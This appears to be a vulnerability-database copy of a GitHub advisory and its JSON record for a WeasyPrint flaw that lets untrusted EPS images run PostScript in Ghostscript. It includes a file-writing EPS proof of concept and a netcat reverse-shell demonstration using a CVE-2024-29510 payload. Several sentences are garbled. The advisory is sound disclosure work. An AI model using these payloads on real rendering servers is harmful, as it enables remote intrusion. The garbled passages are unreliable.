GHSA-R543-Q48M-4C9J
Vulnerability from github – Published: 2026-10-07 18:05 – Updated: 2026-10-07 18:05Summary
This was found during a pentest, funded by the NLNnet foundation, conducted by Stefan Vink from Radically Open Security and the only High issue found.
WeasyPrint passes fetched image bytes directly to Pillow's generic format dispatcher without restricting the input format. When Ghostscript is installed on the host, Pillow's EpsImagePlugin invokes it to rasterize attacker-controlled EPS/PS input. Any content that can supply an image to WeasyPrint (an URL, CSS image value, SVG image reference, or data URI) can therefore drive untrusted PostScript into an external interpreter. On hosts running a Ghostscript version with a known -dSAFER bypass, this yields remote code execution.
Details
The image pipeline reads an external response and hands the raw bytes to Pillow's format-agnostic Image.open, with no allowlist of safe raster formats:
with fetch(url_fetcher, url) as response: bytestring = response.read() mime_type = forced_mime_type or response.content_type
...
pillow_image = Image.open(BytesIO(bytestring))
Pillow selects the handler from the byte signature. For EPS/PS input it selects PIL.EpsImagePlugin, which invokes Ghostscript to rasterize the input when a Ghostscript executable is available. Modern Ghostscript builds may run with -dSAFER, but that does not remove the interpreter boundary — it only constrains it, and multiple CVEs have bypassed it.
The defect in WeasyPrint is that it dispatches untrusted bytes to a format handler capable of invoking an external interpreter, without first validating that the input is a format whose safe handling WeasyPrint can guarantee.
- Input: an image URL in
, a CSS image value, an SVG image reference, or a data URI.
- Sink: the Ghostscript invocation inside Pillow's PIL.EpsImagePlugin, reached from weasyprint/images.py:287-327.
Missing guards:
- No allowlist limits image input to safe raster formats (e.g. PNG, JPEG, WebP) before Pillow's format dispatch.
- No interpreter-specific CPU, memory, filesystem, or process-isolation guard exists in this path.
Hosts without Ghostscript installed do not reach the EPS rasterization path; that is an environment dependency, not an input-format guard within WeasyPrint.
PoC
- Construct a minimal EPS payload that proves the Ghostscript subprocess executes attacker-supplied PostScript. The following 201-byte payload writes a marker file:
postscript %!PS-Adobe-3.0 EPSF-3.0 %%BoundingBox: 0 0 100 100 (/tmp/test-marker.txt) (w) file dup (test_GHOSTSCRIPT_MARKER\n) writestring closefile 0.5 setgray 0 0 100 100 rectfill showpage %%EOF
- The path /tmp/test-marker.txt is illustrative; a hardened reproduction writes the marker into a unique mode-0700 directory created with tempfile.mkdtemp. The write destination exists only to prove the Ghostscript subprocess executed user-supplied PostScript.
- Embed the payload in a data:image/x-eps;base64,... URI inside an
element and render the document with WeasyPrint. The run requires no shell, network, reverse shell, or deployment endpoint.
- Observe the outcome: record the Ghostscript version, the render return code, the generated PDF size, and the private marker file contents. On Ghostscript 10.05.1 this was constrained to the bounded file write above.
- To confirm the full RCE chain, a down-rev Ghostscript 10.03.0 was invoked directly with the CVE-2024-29510 payload while a netcat listener ran on 127.0.0.1:4444. The Ghostscript subprocess connected back and dropped into an interactive shell within a 30-second window:
$ nc -lvnp 4444 127.0.0.1 & Ncat: Version 7.94 ( https://nmap.org/ncat ) Ncat: Listening on 127.0.0.1:4444
$ gs -dSAFER -dBATCH -dNOPAUSE -dPARANOIDSAFER -sDEVICE=ppmraw \ -sOutputFile=/dev/null - < cve-2024-29510_payload.eps ... Ncat: Connection from 127.0.0.1:51884. bash: cannot set terminal process group (261755): Inappropriate ioctl for device bash: no job control in this shell tester@host:~$
- A host without Ghostscript installed does not reach the EPS rasterization path.
Impact
This is a remote code execution vulnerability (via untrusted-input-to-external-interpreter dispatch).
- Rendering untrusted EPS through WeasyPrint on a host with Ghostscript installed executes attacker-controlled PostScript. On Ghostscript 10.05.1 the effded file write.
- On a host running a Ghostscript version with a known -dSAFER bypass, the same input path yields full remote code execution — demonstrated with CVE-2024.03.0, which is still shipped in many LTS and end-of-life branches.
- The unconditional defect in WeasyPrint is the missing image-format allowlist, which is what makes the interpreter reachable from untrusted input.
Who is impacted:
Any deployment that renders untrusted or partially-untrusted HTML/CSS/SVG through WeasyPrint on a host where Ghostscript is installed along combination on general-purpose document-rendering servers.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 69.0"
},
"package": {
"ecosystem": "PyPI",
"name": "WeasyPrint"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "70.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-106443"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-07T18:05:49Z",
"nvd_published_at": "2026-10-06T19:18:13Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThis was found during a pentest, funded by the NLNnet foundation, conducted by Stefan Vink from Radically Open Security and the only High issue found. \n\nWeasyPrint passes fetched image bytes directly to Pillow\u0027s generic format dispatcher without restricting the input format. When Ghostscript is installed on the host, Pillow\u0027s EpsImagePlugin invokes it to rasterize attacker-controlled EPS/PS input. Any content that can supply an image to WeasyPrint (an \u003cimg\u003e URL, CSS image value, SVG image reference, or data URI) can therefore drive untrusted PostScript into an external interpreter. On hosts running a Ghostscript version with a known -dSAFER bypass, this yields remote code execution.\n\n### Details\n\nThe image pipeline reads an external response and hands the raw bytes to Pillow\u0027s format-agnostic Image.open, with no allowlist of safe raster formats:\n\nwith fetch(url_fetcher, url) as response:\n bytestring = response.read()\n mime_type = forced_mime_type or response.content_type\n\n...\n\npillow_image = Image.open(BytesIO(bytestring))\n\nPillow selects the handler from the byte signature. For EPS/PS input it selects PIL.EpsImagePlugin, which invokes Ghostscript to rasterize the input when a Ghostscript executable is available. Modern Ghostscript builds may run with -dSAFER, but that does not remove the interpreter boundary \u2014 it only constrains it, and multiple CVEs have bypassed it.\n\nThe defect in WeasyPrint is that it dispatches untrusted bytes to a format handler capable of invoking an external interpreter, without first validating that the input is a format whose safe handling WeasyPrint can guarantee.\n\n- Input: an image URL in \u003cimg\u003e, a CSS image value, an SVG image reference, or a data URI.\n- Sink: the Ghostscript invocation inside Pillow\u0027s PIL.EpsImagePlugin, reached from weasyprint/images.py:287-327.\n\n### Missing guards:\n\n- No allowlist limits image input to safe raster formats (e.g. PNG, JPEG, WebP) before Pillow\u0027s format dispatch.\n- No interpreter-specific CPU, memory, filesystem, or process-isolation guard exists in this path.\n\nHosts without Ghostscript installed do not reach the EPS rasterization path; that is an environment dependency, not an input-format guard within WeasyPrint.\n\n### PoC\n\n1. Construct a minimal EPS payload that proves the Ghostscript subprocess executes attacker-supplied PostScript. The following 201-byte payload writes a marker file:\n\npostscript\n%!PS-Adobe-3.0 EPSF-3.0\n%%BoundingBox: 0 0 100 100\n(/tmp/test-marker.txt) (w) file\ndup (test_GHOSTSCRIPT_MARKER\\n) writestring\nclosefile\n0.5 setgray 0 0 100 100 rectfill\nshowpage\n%%EOF\n\n1. The path /tmp/test-marker.txt is illustrative; a hardened reproduction writes the marker into a unique mode-0700 directory created with tempfile.mkdtemp. The write destination exists only to prove the Ghostscript subprocess executed user-supplied PostScript.\n2. Embed the payload in a data:image/x-eps;base64,... URI inside an \u003cimg\u003e element and render the document with WeasyPrint. The run requires no shell, network, reverse shell, or deployment endpoint.\n3. Observe the outcome: record the Ghostscript version, the render return code, the generated PDF size, and the private marker file contents. On Ghostscript 10.05.1 this was constrained to the bounded file write above.\n4. To confirm the full RCE chain, a down-rev Ghostscript 10.03.0 was invoked directly with the CVE-2024-29510 payload while a netcat listener ran on 127.0.0.1:4444. The Ghostscript subprocess connected back and dropped into an interactive shell within a 30-second window:\n\n$ nc -lvnp 4444 127.0.0.1 \u0026\nNcat: Version 7.94 ( https://nmap.org/ncat )\nNcat: Listening on 127.0.0.1:4444\n\n$ gs -dSAFER -dBATCH -dNOPAUSE -dPARANOIDSAFER -sDEVICE=ppmraw \\\n -sOutputFile=/dev/null - \u003c cve-2024-29510_payload.eps\n...\nNcat: Connection from 127.0.0.1:51884.\nbash: cannot set terminal process group (261755): Inappropriate ioctl for device\nbash: no job control in this shell\ntester@host:~$\n\n4. A host without Ghostscript installed does not reach the EPS rasterization path.\n\n### Impact\n\nThis is a remote code execution vulnerability (via untrusted-input-to-external-interpreter dispatch).\n\n- Rendering untrusted EPS through WeasyPrint on a host with Ghostscript installed executes attacker-controlled PostScript. On Ghostscript 10.05.1 the effded file write.\n- On a host running a Ghostscript version with a known -dSAFER bypass, the same input path yields full remote code execution \u2014 demonstrated with CVE-2024.03.0, which is still shipped in many LTS and end-of-life branches.\n- The unconditional defect in WeasyPrint is the missing image-format allowlist, which is what makes the interpreter reachable from untrusted input.\n\n### Who is impacted: \n\nAny deployment that renders untrusted or partially-untrusted HTML/CSS/SVG through WeasyPrint on a host where Ghostscript is installed along combination on general-purpose document-rendering servers.",
"id": "GHSA-r543-q48m-4c9j",
"modified": "2026-10-07T18:05:49Z",
"published": "2026-10-07T18:05:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Kozea/WeasyPrint/security/advisories/GHSA-r543-q48m-4c9j"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-106443"
},
{
"type": "WEB",
"url": "https://github.com/Kozea/WeasyPrint/commit/39cd37ce1610bd890388e26591c569db1cbab542"
},
{
"type": "PACKAGE",
"url": "https://github.com/Kozea/WeasyPrint"
},
{
"type": "WEB",
"url": "https://github.com/Kozea/WeasyPrint/releases/tag/v70.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "WeasyPrint: EPS images reach the Ghostscript interpreter resulting in RCE"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.